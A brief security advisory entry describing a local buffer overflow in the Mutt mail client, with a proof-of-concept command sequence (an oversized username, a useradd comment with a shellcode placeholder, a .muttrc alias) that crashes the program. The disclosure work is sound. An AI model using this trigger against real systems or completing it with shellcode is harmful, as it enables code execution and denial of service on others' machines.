source: https://www.securityfocus.com/bid/24192/info Mutt is prone to a local buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input before using it in a memory copy operation. An attacker can exploit this issue to execute arbitrary code with the with the privileges of the victim. Failed exploit attempts will result in a denial of service. # USERNAME=$(perl -e 'print "a" x 31') # useradd -c '&&&&&&&&& your-favourite-ascii-shellcode-here' $USERNAME # echo alias billg $USERNAME >~/.muttrc # mutt billg # Segmentation fault (core dumped)